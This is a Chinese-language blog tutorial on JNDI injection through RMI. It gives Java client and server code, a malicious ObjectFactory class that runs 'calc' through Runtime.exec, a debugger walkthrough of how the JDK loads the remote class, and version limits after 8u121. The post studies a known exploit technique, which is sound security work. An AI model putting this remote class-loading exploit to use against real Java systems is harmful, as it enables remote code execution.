Loading

JNDI注入基础

JNDI注入基础

一、简介

JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。

这些命名/目录服务提供者:

  • RMI (JAVA远程方法调用)
  • LDAP (轻量级目录访问协议)
  • CORBA (公共对象请求代理体系结构)
  • DNS (域名服务)

二、利用方式

在JNDI中有几种利用方式,这节就来讲一下RMI的利用方式

1.RMI的利用方式

客户端:

package com.yy.JNDI;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
            String uri = "rmi://127.0.0.1:1099/hello";
            Context ctx = new InitialContext();
            ctx.lookup(uri);
    }
}

服务端:

package com.yy.JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws Exception {
            Registry registry = LocateRegistry.createRegistry(1099);
            Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/");
            ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
            registry.bind("hello", refObjWrapper);
    }
}

被远程调用的恶意类:

import java.io.IOException;
import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Calc implements ObjectFactory {
    {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public Calc() throws Exception {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        return null;
    }
}

这里会执行四次,弹出四个计算器

debug断点打在客户端lookup处:

image-20210727212505139

跟进javax.naming.InitialContext#getURLOrDefaultInitCtx

image-20210727212602767先进入getURLOrDefaultInitCtx方法

image-20210727213019502

在第347行返回了rmiURLContext对象

回到前面getURLOrDefaultInitCtx处,又调用lookup方法,就会调用其rmiURLContext父类的lookup

4)在lookup中,查看getRootURLContext

image-20210727232033072

getRootURLContext其实是一个接口,根据不同的协议来调用对应类的getRootURLContext方法

image-20210727232046345

5)回到lookup,继续跟进

image-20210727232423542

跟进到RegistryContext#lookup中

image-20210727232514264

这里会去RMI注册中心寻找hello对象,接着看下当前类的decodeObject方法

image-20210727233134574

这里的ReferenceWrapper_stub对象实现了RemoteReference接口

image-20210727233535492

调用ReferenceWrapper_stub#getReference方法返回的是一个Reference对象

image-20210727233611141

所以前面的var3获取到的是一个Reference对象

image-20210727233846819

继续跟进到getObjectInstance

image-20210727233946164

跟进NamingManager#getObjectInstance,在NamingManager#getObjectInstance中,319行调用了getObjectFactoryFromReference

image-20210727234225513

NamingManager#getObjectFactoryFromReference

image-20210727234743800

146行先尝试从本地CLASSPATH加载该class,再到158行根据factoryName和codebase加载远程的class,跟进看下158行loadClass方法的实现

VersionHelper12#loadClass

image-20210727235713358

这里用了URLClassLoader去加载远程类

跟进loadClass

image-20210728000514810

执行完Class.forName就会加载这个类,从而执行到static方法

由于类的加载执行了static方法,服务器日志出现了一条调用记录

image-20210728000643171

并且弹出了计算器

image-20210728000824425

回到NamingManager#getObjectFactoryFromReference中,继续执行了 clas.newInstance

image-20210728000903384

这里执行完就会调用代码块和无参构造方法,弹出两个计算器

再往下会执行到321行,调用getObjectInstance方法

image-20210728001054575

此时会执行恶意类Calc中的getObjectInstance方法,弹出最后一个计算器。

2.RMI的利用版本限制

从jdk8u121 7u131 6u141版本开始

com.sun.jndi.rmi.object.trustURLCodebase
com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false
即默认不允许从远程的Codebase加载Reference工厂类

所以切换8u121版本,运行会报错(其实这里的8u121就是网上所说的8u113)

image-20210728095931290

以下是我补充实验中遇到的一些问题:

1.JNDI利用RMI进行攻击,在服务端本地是否需要有恶意类

服务端本地不需要恶意类

2.是服务端的版本有限制还是客户端版本有限制

是客户端有版本限制,需要小于8u121

3.为什么关闭服务器,客户端还可以继续执行payload
客户端优先寻找本地是否有类(注意是类,不是class文件),然后才通过codebase从远程下载类

posted @ 2021-07-31 11:00  Atomovo  阅读(2029)  评论(4编辑  收藏  举报